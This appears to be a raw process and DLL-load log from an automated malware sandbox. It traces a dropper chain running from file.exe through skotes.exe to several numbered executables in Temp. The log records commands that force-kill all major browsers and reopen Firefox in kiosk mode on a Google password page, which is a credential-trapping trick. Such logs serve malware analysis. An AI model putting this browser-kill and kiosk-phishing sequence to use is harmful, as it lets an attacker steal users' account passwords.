Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2280,i,12129099587254374971,13455169532411642605,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2120,i,3944860709860646515,864746559812166829,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFHJEGDAF.exe "C:\Users\user\Documents\EBFHJEGDAF.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe "C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2128 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d31f3b73-117a-46ce-a0f7-234ea1f05cc0} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209e5570d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 4104 -prefMapHandle 4100 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {275762a2-0039-4320-92ee-e26bc0abc741} 7260 "\\.\pipe\gecko-crash-server-pipe.7260" 209f7adc910 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,1742879964880318767,14885282472322802179,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Section loaded: iertutil.dll
